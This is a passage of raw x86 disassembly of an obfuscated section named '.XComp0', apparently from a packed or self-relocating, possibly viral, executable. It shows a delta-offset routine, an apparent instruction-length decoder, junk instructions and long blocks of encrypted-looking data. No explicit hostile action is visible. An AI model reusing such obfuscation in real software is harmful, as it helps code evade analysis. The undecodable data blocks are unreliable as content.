edx, 4 jg $+6 cmp edx, 0FFFF8EC4h jnz loc_5CA9E7 mov ax, bx jmp loc_5CAA04 ; --------------------------------------------------------------------------- dd 4D9F6644h db 0D5h, 5Fh, 0CDh ; --------------------------------------------------------------------------- loc_5CA9E7: ; CODE XREF: .XComp0:005CA9D2j sub esi, [ebp+5F92429h] jmp loc_5CA977 ; --------------------------------------------------------------------------- dw 0A0F2h dd 0E211C202h, 1B9D17B2h, 8F45F5FFh, 4F7DF748h ; --------------------------------------------------------------------------- loc_5CAA04: ; CODE XREF: .XComp0:005CA9DBj jmp loc_5CABD1 ; --------------------------------------------------------------------------- dd offset loc_418884+4 dd offset loc_418884+4 dd offset loc_418884+4 dd offset loc_418884+4 dd offset loc_418884+4 dd offset loc_418884+4 dd offset loc_418884+4 dd offset loc_418884+4 align 4 dd 3 dup(0) dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h dd 0 dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h dd 88888808h, 88h, 0 dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0 dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0) dd 500h, 14h dup(0) dd 0CF52E900h, 7A7A15h, 810B00h, 11h dup(0) db 0 ; --------------------------------------------------------------------------- loc_5CABD1: ; CODE XREF: .XComp0:loc_5CAA04j jmp loc_5CAF29 ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 5FEF5EFh pusha mov dword ptr [ebp+5FEF53Ch], 0 cmp word ptr [esi], 0A166h jnz loc_5CAC08 mov dword ptr [ebp+5FEF540h], 6 jmp loc_5CAC2C ; --------------------------------------------------------------------------- loc_5CAC08: ; CODE XREF: .XComp0:005CABF3j lea eax, [ebp+5FEF544h] push eax lea eax, [ebp+5FEF594h] push eax push esi push 0 call sub_5CAC3B add esp, 10h and eax, 0FFh mov [ebp+5FEF540h], eax loc_5CAC2C: ; CODE XREF: .XComp0:005CAC03j popa add esi, [ebp+5FEF540h] mov eax, [ebp+5FEF53Ch] pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5CAC3B proc near ; CODE XREF: .XComp0:005CAC19p var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_5FEF534 = dword ptr 5FEF53Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_5], 0 and [ebp+var_6], 0 xor dl, dl and [ebp+var_1], dl cmp [ebp+arg_0], 0 jz loc_5CAC68 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh mov [ebp+var_2], 1 jmp loc_5CAC74 ; --------------------------------------------------------------------------- loc_5CAC68: ; CODE XREF: sub_5CAC3B+16j and [ebp+var_3], 0 and [ebp+var_2], 0 mov [ebp+var_4], 4 loc_5CAC74: ; CODE XREF: sub_5CAC3B+28j push ebx push esi push edi loc_5CAC77: ; CODE XREF: sub_5CAC3B+91j ; sub_5CAC3B+ADj ... mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5CAC8A: ; CODE XREF: sub_5CAC3B+76j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 5FEF6A6h lea ebp, [ebp+5FEF51Ch] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5CACB7 inc cl cmp cl, 0Bh jb loc_5CAC8A loc_5CACB7: ; CODE XREF: sub_5CAC3B+6Bj cmp cl, 0Bh jz loc_5CAD14 cmp al, 66h jnz loc_5CACF5 cmp [ebp+var_5], 0 jnz loc_5CAC77 cmp [ebp+var_3], 0 mov [ebp+var_5], 1 jnz loc_5CACED mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh jmp loc_5CAC77 ; --------------------------------------------------------------------------- loc_5CACED: ; CODE XREF: sub_5CAC3B+9Fj and [ebp+var_3], 0 mov [ebp+var_4], 4 loc_5CACF5: ; CODE XREF: sub_5CAC3B+87j cmp al, 67h jnz loc_5CAC77 cmp [ebp+var_6], 0 jnz loc_5CAC77 xor [ebp+var_2], 1 mov [ebp+var_6], 1 jmp loc_5CAC77 ; --------------------------------------------------------------------------- loc_5CAD14: ; CODE XREF: sub_5CAC3B+7Fj mov ebx, [ebp+arg_C] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5CAD40 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5CAD45 ; --------------------------------------------------------------------------- loc_5CAD40: ; CODE XREF: sub_5CAC3B+E4j movzx edi, al shr edi, 1 loc_5CAD45: ; CODE XREF: sub_5CAC3B+100j push ebp call $+5 pop ebp sub ebp, 5FEF75Eh lea ebp, [ebp+5FEF41Ch] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp+var_7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp+var_6], bl jz loc_5CAEC7 mov ebx, [ebp+arg_4] mov byte ptr [ebp+arg_0+3], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov byte ptr [ebp+arg_C+3], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz [ebp+var_5] shr ecx, 6 sub ecx, 0 jz loc_5CAE0B dec ecx jz loc_5CADEE dec ecx jnz loc_5CAE5E cmp [ebp+var_2], 0 jnz loc_5CAE5A cmp [ebp+var_5], 0 jz loc_5CADCD mov byte ptr [ebp+arg_0+3], 2 loc_5CADCD: ; CODE XREF: sub_5CAC3B+188j add byte ptr [ebp+arg_0+3], 4 push ebp call $+5 pop ebp sub ebp, 5FEF7EAh mov [ebp+arg_5FEF534], 1 pop ebp jmp loc_5CAE5E ; --------------------------------------------------------------------------- loc_5CADEE: ; CODE XREF: sub_5CAC3B+16Dj cmp [ebp+var_2], 0 jnz loc_5CAE38 cmp [ebp+var_5], 0 jz loc_5CAE38 mov byte ptr [ebp+arg_0+3], 2 jmp loc_5CAE38 ; --------------------------------------------------------------------------- loc_5CAE0B: ; CODE XREF: sub_5CAC3B+166j cmp [ebp+var_2], 0 jnz loc_5CAE51 cmp [ebp+var_5], 0 jz loc_5CAE40 movzx ecx, byte ptr [ebp+arg_C+3] mov edx, [ebp+arg_4] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5CAE38 mov byte ptr [ebp+arg_0+3], cl loc_5CAE38: ; CODE XREF: sub_5CAC3B+1B7j ; sub_5CAC3B+1C1j ... inc byte ptr [ebp+arg_0+3] jmp loc_5CAE5E ; --------------------------------------------------------------------------- loc_5CAE40: ; CODE XREF: sub_5CAC3B+1DEj cmp dl, 5 jnz loc_5CAE5E mov byte ptr [ebp+arg_0+3], dl jmp loc_5CAE5E ; --------------------------------------------------------------------------- loc_5CAE51: ; CODE XREF: sub_5CAC3B+1D4j cmp dl, 6 jnz loc_5CAE5E loc_5CAE5A: ; CODE XREF: sub_5CAC3B+17Ej mov byte ptr [ebp+arg_0+3], 3 loc_5CAE5E: ; CODE XREF: sub_5CAC3B+174j ; sub_5CAC3B+1AEj ... dec byte ptr [ebp+arg_0+3] jz loc_5CAE8C movzx ecx, byte ptr [ebp+arg_0+3] mov [ebp+arg_0], ecx loc_5CAE6E: ; CODE XREF: sub_5CAC3B+249j movzx esi, byte ptr [ebp+arg_C+3] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] inc byte ptr [ebp+arg_C+3] dec [ebp+arg_0] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5CAE6E mov esi, edx loc_5CAE8C: ; CODE XREF: sub_5CAC3B+226j and al, 0FEh cmp al, 0F6h jnz loc_5CAEC1 cmp edi, 7Fh ja loc_5CAEC1 test bl, 38h jnz loc_5CAEC1 cmp [ebp+var_7], 0 jz loc_5CAEBB movzx eax, [ebp+var_4] jmp loc_5CAEBE ; --------------------------------------------------------------------------- loc_5CAEBB: ; CODE XREF: sub_5CAC3B+271j push 1 pop eax loc_5CAEBE: ; CODE XREF: sub_5CAC3B+27Bj mov [ebp+var_1], al loc_5CAEC1: ; CODE XREF: sub_5CAC3B+255j ; sub_5CAC3B+25Ej ... mov dl, byte ptr [ebp+arg_C+3] mov bl, [ebp+var_6] loc_5CAEC7: ; CODE XREF: sub_5CAC3B+136j mov al, bl and eax, 7 sub eax, 4 jz loc_5CAEF2 dec eax dec eax jz loc_5CAEE8 and bl, 7 add [ebp+var_1], bl jmp loc_5CAEFA ; --------------------------------------------------------------------------- loc_5CAEE8: ; CODE XREF: sub_5CAC3B+29Cj mov al, [ebp+var_3] add al, 6 jmp loc_5CAEF7 ; --------------------------------------------------------------------------- loc_5CAEF2: ; CODE XREF: sub_5CAC3B+294j mov al, [ebp+var_3] add al, 4 loc_5CAEF7: ; CODE XREF: sub_5CAC3B+2B2j add [ebp+var_1], al loc_5CAEFA: ; CODE XREF: sub_5CAC3B+2A8j mov al, [ebp+var_1] dec [ebp+var_1] test al, al jz loc_5CAF22 movzx ecx, [ebp+var_1] inc ecx loc_5CAF0D: ; CODE XREF: sub_5CAC3B+2E1j mov edi, [ebp+arg_4] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5CAF0D loc_5CAF22: ; CODE XREF: sub_5CAC3B+2C7j pop edi pop esi mov al, dl pop ebx leave retn sub_5CAC3B endp ; --------------------------------------------------------------------------- loc_5CAF29: ; CODE XREF: .XComp0:loc_5CABD1j lea eax, [ebp+5FEF5E9h] mov [ebp+5F907A9h], eax dec eax adc esi, [ebx+1Dh] and al, 0BFh push edi sub [ecx-4E0FEA9Dh], ebx jno short near ptr loc_5CAF44+1 loc_5CAF44: ; CODE XREF: .XComp0:005CAF42j add al, 0Ah xor eax, 70DC787Dh lodsb inc ch test ebp, edi cmp dword ptr [ecx-7Bh], 0FFFFFF91h xor [ecx+esi*8+1], esi shl dword ptr [edx+6B1F0505h], cl mov [ecx], ch db 26h lea esi, [eax] lodsd db 3Eh mov edi, 1D31AC10h leave inc ebp mov dword ptr [ebp-33A853CBh], 61BACCCFh frstor byte ptr [ecx+5D35D131h] mov dh, 0E1h inc edi dec ecx cmc test eax, 85766AE6h sbb al, 0A3h mov cl, [esi] cld icebp or al, 0D6h push esp das mov word ptr [esi], cs db 3Eh push ebp xor al, 0A3h cmp ch, [eax] sbb dl, cl xor eax, 0C0EB1ACh inc ebp rep ja short near ptr locret_5CAFD5+3 lodsb pop ebx cmp ah, [eax+44h] xor bl, ds:0D311AC35h div cl mov eax, 0B0A8112Bh out 11h, eax test al, 2Ah sal dword ptr ds:0F6BD74ACh, 1 push edi mov ebp, 0BAFEAD89h stosd mov fs, word ptr [ecx] mov ah, 75h int 3 ; Trap to Debugger push edx xor al, 0Fh fiadd dword ptr ds:3C568217h popa locret_5CAFD5: ; CODE XREF: .XComp0:005CAFA0j db 67h rep retf 6BAh ; --------------------------------------------------------------------------- dw 9D3Ah dd 563A5157h, 0FC6B2C6Bh, 22E98557h, 0AC30F4A1h, 0D36F8E31h dd 2D836F1Ch, 70BFE2F6h, 0E6B05C26h, 443016C8h, 0AC357425h dd 0F7D11DFh, 7642AB9Ch, 64C1DEAAh, 0E19D5FC4h, 0EF266D89h dd 0EB5A6B57h, 0FE65786Fh, 0A3C7FF57h, 838B5C00h, 0FC6D4735h dd 0AC3589D9h, 2034DD31h, 0DD5A5B52h, 0AC35DCD8h, 0FCB00531h dd 9A16058Fh, 5836013Fh, 3C6AA34Ch, 85101BCEh, 0AADD42C8h dd 7435A331h, 8983CABFh, 52BE8E47h, 0CAF5FF6Eh, 0A37D1788h dd 11B6E28Eh, 0A9CCBFF8h, 2F3C3231h, 5527168Ch, 0B541D134h dd 6CBEBB61h, 0AC310E89h, 45B0B331h, 2130E419h, 57C60AACh dd 0F7E6B834h, 19882069h, 0AC302823h, 0FF65FF45h, 0AC310E89h dd 45B0B331h, 2130E419h, 57C5FDACh, 0F7E6B834h, 0FF35C969h dd 0AC35D2D9h, 6F6EC831h, 8869FD6Ah, 8871BB35h, 0AC350A35h dd 6F66CD31h, 3670F90Dh, 0C6E32857h, 0AFDD8431h, 8C35E831h dd 2568B76Ch, 2D311E5Dh, 0B8313975h, 0E9358E31h, 0CAF98464h dd 82D771B0h, 6CBE1FBBh, 4466E85Bh, 0AC357432h, 0F7F66111h dd 0A81141B8h, 0A811CAB0h, 0AC354729h, 0D7F6F072h, 6D3B0DD6h dd 2AE65657h, 9CFAF557h, 0FEA8B75Ch, 0A330E3C8h, 0AC358AB6h dd 938F2131h, 0AC3A4A24h, 0A4ECD131h, 21EBABC7h, 24746387h dd 7A584830h, 79B090D2h, 0C63070D4h, 0AFDD1131h, 8C35A331h dd 256B126Fh, 2D31CC45h, 0B7315075h, 0EA353A31h, 0D985DE67h dd 0AEF8ED7Eh, 5FBF10DCh, 0AC5F73CEh, 0AC363961h, 0F415E831h dd 0E8BC2CF2h, 0E8B43E15h, 0AC221915h, 0FC758E31h, 550901F2h dd 0A3F5A81Fh, 0AC35AEB5h, 0FE358231h, 0AC3577D9h, 6F6F1A31h dd 8861946Bh, 88710F35h, 0AC355135h, 6F67E131h, 0FB17FA89h dd 31B8B6C4h, 0A9CC3AD9h, 0AC30B13Eh, 0EA8A1D31h, 1629EE09h dd 0FC892B0Dh, 0AC35A089h, 0A3BADE31h, 4535E831h, 0AC35743Bh dd 0C39F1423h, 0B8F445E2h, 4FCA8163h, 4465475Bh, 0AC35A332h dd 0F4F68911h, 0A811ACB8h, 0A81130B0h, 0AC353A2Dh, 0DDF64D71h dd 77407A4Ah, 90F1F99Ch, 0CAE71C3Eh, 77F937B0h, 556F75BCh dd 0AC5F71CFh, 0AC36D263h, 0F6151D31h, 0F8BCD4F2h, 0E8B44315h dd 0AC29A715h, 0FE77D131h, 2888D3F2h, 8137F9E3h, 275339BCh dd 79B090CBh, 2C3070D4h, 7CCA0BC0h, 4460A35Bh, 0AC35D132h dd 0F1F6B511h, 0A81118B8h, 0A8117EB0h, 0AC351D2Ch, 91F6DB74h dd 27A88087h, 80E5799Bh, 5E8ADE14h, 283A283Ah, 0AC357406h dd 0AC30B73Eh, 2D531D31h, 213EFEE8h, 557BAFACh, 7ADB2334h dd 0AC35D089h, 0AC3D0031h, 431E7431h, 0C3B5A04Ah, 0A4DCC1F8h dd 4E358E31h, 4F5D48CDh, 0F5A3501Bh, 21CC32CEh, 52CCB7ACh dd 0F9351E34h, 0AC3539D9h, 6F683D31h, 8859076Ch, 8871C635h dd 0AC35BA35h, 6F609431h, 26958260h, 0FC55BDECh, 556E1783h dd 79B09050h, 273070D4h, 2DE5B8FEh, 5BD41EC0h, 0A3F5DA07h dd 0AC358DB5h, 0FC351E31h, 0AC3539D9h, 6F6D3D31h, 88710769h dd 8871C635h, 0AC35B535h, 6F659131h, 0CAB18302h, 210C3D8Eh dd 557BD2ACh, 0AC3AF434h, 0BE518E31h, 8654BA26h, 6CD90048h dd 55453B59h, 0AC36500Bh, 53CD7431h, 0FC3550D2h, 0AC351ED9h dd 6F6DAE31h, 8871CE69h, 88712235h, 0AC35C835h, 6F65A831h dd 833943B6h, 0C676147Dh, 0AFDD4B31h, 8C358E31h, 256B846Fh dd 2D318745h, 0B631F575h, 0EA35E831h, 0E9DDB767h, 1AB5235h dd 0AC21F472h, 58B18E31h, 0CC8D48FDh, 0B581BB90h, 87C1B06Eh dd 373B3E3Fh, 11B86955h, 0A9CBC379h, 51E490BCh, 0D18D8BCFh dd 9FBF0C6Dh, 55011EB4h, 6DFAFA34h, 6F75BCD8h, 5F71CF55h dd 36D263ACh, 151D31ACh, 0BCD4F2F6h, 0B44315F8h, 0E98315E8h dd 8BA4F305h, 12E8C0h, 76570000h, 0F458B092h, 3AC88370h dd 0A32A73B4h, 0D6022C57h, 7E9h, 0CBE78000h, 0FD3894BDh dd 0FF98B59h, 68Fh, 800F00h, 8B000000h, 0D18B66C3h, 0CA81C08Bh dd 556C0086h, 31C9BD83h, 750005F9h, 0B5BD8309h, 5F912h dd 53501974h, 7AB8C08Bh, 89000004h, 0F915DD85h, 0EB9D8D05h dd 0FF05FBF3h, 83585BD3h, 0F912B5BDh, 17740005h, 7AB85350h dd 89000004h, 0F915DD85h, 8C9D8D05h, 0FF05FBF0h, 0E9585BD3h dd 7, 410557B2h, 0FA0A5EEh, 589h, 0FCB66000h, 0C08B61F5h dd 0FF8E8D8Dh, 6EB405FEh, 0CDD8D89h, 6A05F9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 816C66C3h dd 0F0C4DEC7h, 918D0133h, 0C705F926h, 0F926C185h, 634005h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0F7A4EC67h, 0F2DD9D39h, 0C9BD8900h, 0C705F91Eh dd 0F900FD85h, 5, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 62774E95h, 95B10D9h, 69B5FFFCh dd 6A05F92Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0FA8C351h, 8589DABFh, 5F9346Dh dd 20D595FFh, 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 6735B3C3h, 8D8977F9h, 5F9205Dh dd 9333BB66h, 95FF006Ah, 5F91AEDh, 4AEBC08Bh, 0D8D781C5h dd 78EE2AE4h, 0C734EF1Eh, 9E139BBBh, 0AEC94166h, 0BCBFB4C6h dd 6E3DFF93h, 0A4A0849Bh, 0EBB412DBh, 29B19D05h, 0F3674F39h dd 679A75Dh, 4FB07F47h, 0A8019E74h, 69C788Ch, 3A71F74Ch dd 5E790F13h, 30E6D155h, 1FE9B79Ah, 1B000000h, 2AFC99h dd 6 dup(0) dd 1AE90000h, 68000011h, 5FF0229h, 0FB841CE9h, 39468FFh dd 12E905FFh, 68FFFB84h, 5FF0643h, 0FB8408E9h, 78C68FFh dd 0FEE905FFh, 68FFFB83h, 5FF0BA9h, 0FB83F4E9h, 0D8868FFh dd 0EAE905FFh, 68FFFB83h, 5FF0F15h, 0FB83E0E9h, 0C03FDAFFh dd 37BEF63Bh, 0BE37DD24h, 34C3F439h, 0BD40DA27h, 7506C13Ah dd 58A5B243h, 73BA3DBCh, 5BA2B53Ch, 41BC3FB6h, 2E874DDh dd 0A3549F20h, 0DB882EC3h, 12D1BC39h, 0B407DCCDh, 6F126D0h dd 0D421CF14h, 862B9607h, 0CDC035DDh, 0B94EC916h, 0D21FCF84h dd 57C7FCD7h, 0B20D7086h, 0BCFF7B2Fh, 0EE9FA62h, 0A68612DFh dd 5B2C0DCAh, 8B9CA0CDh, 0AA23D206h, 0D7CA2EE9h, 570058D6h dd 9F26CDCDh, 0DC3D7A79h, 9F26CD7Ch, 5283087Ch, 0AE692AA3h dd 0DB3006D1h, 12D1BC39h, 0CD3D55AFh, 0F4C76579h, 7BD9C1FAh dd 855282h, 9BF00000h, 21595C77h, 8718C9B7h, 4592513Ch dd 25F2135Bh, 0C4590B8Bh, 1A1724F7h, 1EB71FFFh, 9ADF5C82h dd 0E5D726CFh, 0E991E92Eh, 0C2EF70A4h, 26FDF033h, 4E1B78D1h dd 68B9CA0h, 0F0A326D1h, 0D7D2D12Bh, 0E9E08657h, 0AAB08622h dd 0F7C431E3h, 2616B616h, 0CE23CB9Fh, 0AADEADBh, 72DECC63h dd 92FBFA1Bh, 9FD08BF6h, 978D4AB9h, 827B9D5Eh, 4C501D3Eh dd 0D69ED3E0h, 2604E37Dh, 5BA85B9Fh, 1056FA0h, 26850000h dd 2B8306F1h, 29E2AD3h, 4B469ADFh, 4117C190h, 0DF020C98h dd 49AC4D9Ah, 5A198360h, 38DD24A5h, 0EA085DBDh, 74DDD00Bh dd 0B5C6B83Fh, 18645BBCh, 68E33826h, 0DF615C05h, 0C32CC49Ah dd 9ADF7839h, 958BD0A5h, 0B76D7975h, 35E2AF6Ch, 0CBE835C2h dd 330AC12Ch, 27A25180h, 2FC7B76Ch, 0C9922EC7h, 0C54A9ADFh dd 0DA1DE213h, 0A0F0CE7Fh, 3ABDB49Ch, 57590ADh, 5A92506Ch dd 8DE68E99h, 9ADD12F3h, 8963B86Bh, 0B95BB08Ah, 0F57AE23Ch dd 0E0B336BFh, 0DD12E37Dh, 0E4165B9Ah, 0E09CE11h, 0A45615BFh dd 0D94B8E51h, 0BEADB93Bh, 0E4F690Bh, 0DAFD0000h, 21D1201Bh dd 0DCFA47D4h, 26CF1E19h, 0DBFD44D7h, 0E19E1D1Ah, 0C255A852h dd 9D9A577Bh, 0C552A150h, 9F9C5B78h, 8D17C01Eh, 399F2000h dd 0F4265440h, 1FD41901h, 0B9FED5D8h, 6D87DC3Eh, 0D1064B90h dd 5B233426h, 0DB4FA737h, 0C2595ED3h, 31EE4742h, 0E07F61E6h dd 7DD64861h, 9CA01014h, 1896170Ah, 5648DA47h, 0EB084A96h dd 0FDC2A10Ch, 0A2758430h, 26A401C7h, 359D219Fh, 26A4009Ch dd 0F2C5BC9Fh, 6BA49A1Dh, 0FC827B3Ch, 11Fh, 0E8F126F0h dd 0F180DE82h, 94845D6Ch, 0AC199E2Ch, 0F860BA05h, 0DF45C55Fh dd 6964819Ah, 42C1B737h, 677447Fh, 0F1DC19BBh, 0DFBCD78Ch dd 4EA74F9Ah, 9ADFA5B2h, 0C233E52Ah, 3E73BAFDh, 3F6FF425h dd 0A75C37B2h, 6592DF5Ch, 0AA23D200h, 8B336E9h, 0A0577E29h dd 3F76FB63h, 995E35B8h, 3D4819C1h, 0FF9C314h, 0C479D427h dd 3C9CA096h, 0B85807A7h, 50038639h, 34E0318Bh, 165C1AA7h dd 0E023591Bh, 91E936EDh, 0B019D8FCh, 0BC1BA54Eh, 0D0C39F26h dd 0B843C813h, 0DDFE6079h, 4FC55E6Dh, 4426F1EEh, 5A35A0ABh dd 317F6099h, 8241016Dh, 0D1D02CEFh, 0DC681169h, 889ADDEAh dd 97EC4E89h, 499E807Dh, 8E894EAFh, 912BC42Ch, 4D9ADDEAh dd 1ABC8156h, 633822DBh, 0D811ADB8h, 0CE40Ch, 98679200h dd 5F963E83h, 965F95DCh, 5C9B3C81h, 956892DFh, 0BD4E0982h dd 105DDA1Bh, 0BB0215E4h, 135ADD14h, 890417DEh, 130CC25h dd 0FBAC9F20h, 1F42601h, 75154819h, 0B2A151Bh, 0D1064BD0h dd 262F1126h, 0CF1406F1h, 9607D421h, 0F6F862Bh, 995567EEh dd 0DCA7B54h, 3ECFB00Ah, 3AA4F20Bh, 65DC6FACh, 0DA82DA44h dd 0DFD8E781h, 0BE29689Ah, 0B2625E7h, 4425F2B1h, 9CA0E8D3h dd 5D983ED3h, 8864B76Ch, 0D0F18BE4h, 0D6029F26h, 0BEDA627h dd 6FE2CB18h, 59A8B342h, 0EB0AA7BCh, 0A0392102h, 9F26D004h dd 8BFEC1C0h, 9632CB33h, 4E9F26D0h, 0F692EB53h, 6E9F26D0h dd 110568B3h, 0A60AA2F3h, 0BE038671h, 82ECDD18h, 0FD0B3CFFh dd 0FC88F189h, 680CA2F3h, 46116EA9h, 69FA1B70h, 6241AC49h dd 0A4772C9Dh, 852B38DDh, 59A67D70h, 9456C01h, 0A2F3D470h dd 4E91900Ch, 0C42C8E89h, 0A2F3912Bh, 81564D0Ch, 0A2C217BCh dd 36B67089h, 0A0E5558Ah, 46378473h, 0A2D75EE7h, 7F04680Ch dd 0D72AA352h, 12D1BC39h, 0A2350ACDh, 99B3ABCCh, 0AE1FD6FBh dd 70A40CF5h, 0C5F23F7Ch, 0E76D3914h, 0A75C60C2h, 39A23A94h dd 0CA2FCAFh, 0D29F5C17h, 57D7D225h, 35FAEB86h, 0BD9D3E93h dd 0A29E8814h, 7A3D340Ch, 0A29E3C9Fh, 0D661D40Ch, 4F85DE13h dd 9415DC14h, 5FBF04BFh, 9B0EF10Ah, 96F8F3C8h, 5954A151h dd 0C3F03D7Ah, 615AE68Fh, 7A97F35Dh, 9D62217Bh, 87A29F2Ch dd 3E973F97h, 0F35D61A2h, 0B994671Ah, 0F5224750h, 0D87B2F50h dd 0D4B84CA7h, 1072FF90h, 18E320CDh, 85DBDB4h, 9E5F79EAh dd 70AB6861h, 0C8E160EBh, 0CB55FE56h, 8F6A428h, 0C49F0AE9h dd 7CDE19D8h, 0DB07CED3h, 4171F6F0h, 3FDA660Fh, 8F82F35Dh dd 6E258754h, 25B037Bh, 0F35D3F66h, 0A23B23DEh, 0F35D3F06h dd 15F8C3BEh, 0F35D3F88h, 0DFCA27CBh, 39B44372h, 3F801CB5h dd 453CF35Dh, 34F7C49Fh, 0CCAC777Eh, 5FA47A3Dh, 747641B0h dd 1EF2A13Bh, 65ACCh, 6DA0E000h, 0C199BC71h, 0A96E852Ch dd 2A0728D1h, 0AA3F9CA0h, 24FFEA0Dh, 5E4FA64Dh, 9B563285h dd 4B9CA144h, 9C914076h, 0F72CC9E7h, 7A387687h, 9AD5A6DAh dd 8455FD5Dh, 0EE00E032h, 0B49562D1h, 459674CBh, 0BC4F3A39h dd 61FA6485h, 406EAE6Dh, 56A95297h, 126C2781h, 5E77116Ah dd 34EF43E9h, 5E17B14Ah, 0D4CF43E9h, 35E22707h, 0CBE835C2h dd 5E52EE87h, 850A43E9h, 0A85BA84Dh, 84EFFB55h, 4F15D8D4h dd 0A35h, 36C130E3h, 2D2AC7E7h, 38C332E0h, 2A2DD0E9h, 37C431E3h dd 4E68FBB8h, 0B165ACAFh, 4B6AB744h, 0B562AFACh, 0DA34B542h dd 2004E781h, 2AAA5F9Fh, 8306F126h, 0DA5D983Eh, 13C36h dd 82354600h, 0CCDEAE48h, 133BA572h, 0E70B587Eh, 0FFC49F0Ah dd 0F502D58Eh, 98401A33h, 0DF02A53Fh, 9562219Ah, 7548DBB0h dd 1A6F4512h, 0D78CFD00h, 0DED10A04h, 49B18874h, 0ABC48B1h dd 69289ADFh, 0DF0A7410h, 0E631F09Ah, 8E35h, 5CE0AB00h dd 6283DB43h, 0A8D13C3Fh, 0C8A1760Bh, 9ADF663Fh, 0C332E227h dd 0EACE09CAh, 0A64BB637h, 7D9AEF4Fh, 0BC2DCCE8h, 0F2B11CE7h dd 43C82225h, 0C895628Fh, 2AE1CC2Bh, 18A44D13h, 0C49ADF66h dd 0C18A51AFh, 7D4215DCh, 0F9F403B0h, 6475E51Ah, 93A66F5Ch dd 1E00BB91h, 0A02CC8B5h, 0FA9369Ch, 384931EEh, 51BD0063h dd 0D1BCFF69h, 695FDC67h, 827BD330h, 9F567B10h, 9D27D02Eh dd 499F260Ah, 9942954Ah, 7, 17DC90Fh, 132B0000h, 329B5A7Eh dd 0C6C736DFh, 0F205D20Dh, 40DC753Bh, 59ADF02h, 81B13C71h dd 36EDCF64h, 0B7E891E9h, 6D9CA0E1h, 511363B6h, 0F9F4A7C1h dd 8EC2Bh, 807F9A00h, 777E367Bh, 7E779DE4h, 74833479h dd 7D809AE7h, 0B546017Ah, 1865F203h, 0B3FAFDFCh, 1B62F5FCh dd 81FCFFF6h, 528B41Dh, 0E3949F20h, 5D7E13F9h, 0A10CEB08h dd 0D78CFDC2h, 5E995C7Ah, 0E4566FC9h, 35826F9Fh, 4D8D6ED0h dd 3D65C5C7h, 57BB10CBh, 4016A184h, 0DEA53F98h, 44219ADFh dd 68B72D69h, 0DE19E6D4h, 7469135Ch, 0AAA488h, 13180000h dd 0F5ECB7F2h, 0DFB435C0h, 0F1024D06h, 0A60E7C10h, 58A32B7Bh dd 19BE69C3h, 3B1AEBDEh, 1748D5B7h, 8BE8B906h, 27BB852Fh dd 0D8BB9A65h, 0FBC0AB82h, 741ECC05h, 6E5D88h, 88DD0000h dd 634D8A69h, 9B5A7E13h, 9923CC32h, 459ADF02h, 0B146914Eh dd 54FC5E77h, 0DF0261FBh, 3426DD9Ah, 0DF02019Bh, 0F1C6BD9Ah dd 0B65DB214h, 0F42F7C3Fh, 48B14939h, 9ADF02BCh, 0D1AE6928h dd 35DB3006h, 0C116CDC0h, 0DF1AD968h, 0D470099Ah, 909ADF0Ah dd 84CC4E91h, 628874D6h, 9E0FE60Dh, 0ECC9F2C5h, 69FFFFFDh dd 2706ED24h, 49AB708Dh, 995C7E13h, 93A87330h, 0D07F6299h dd 8BFEF71Dh, 0CD10EDD8h, 528D648Ch, 78A3A88Dh, 0F05D2B5h dd 887477C6h, 48B561A6h, 3414C73h, 26600000h, 0C11901F4h dd 0DF028C18h, 7E39389Ah, 0C415C60Bh, 6E23E5DDh, 2B13D012h dd 0AF9E2AD3h, 4B469ADFh, 0F6721C7Ah, 8D3E34Bh, 6E852C95h dd 83538A7Bh, 0BD9263CDh, 36B74670h, 0DECF26CBh, 0BD02305h dd 9C1F4ADAh, 659841C6h, 0CC29CB92h, 25D8024Fh, 0FF1A17A4h dd 8632B71Fh, 0E60B7677h, 0FAC59E0Fh, 7A738233h, 6EFB5E99h dd 569CA0E9h, 0C116E711h, 4BC12CE7h, 4AB34BB3h, 9F26E9BEh dd 76126B26h, 0EE9F26E9h, 0D08BE833h, 0B44175FAh, 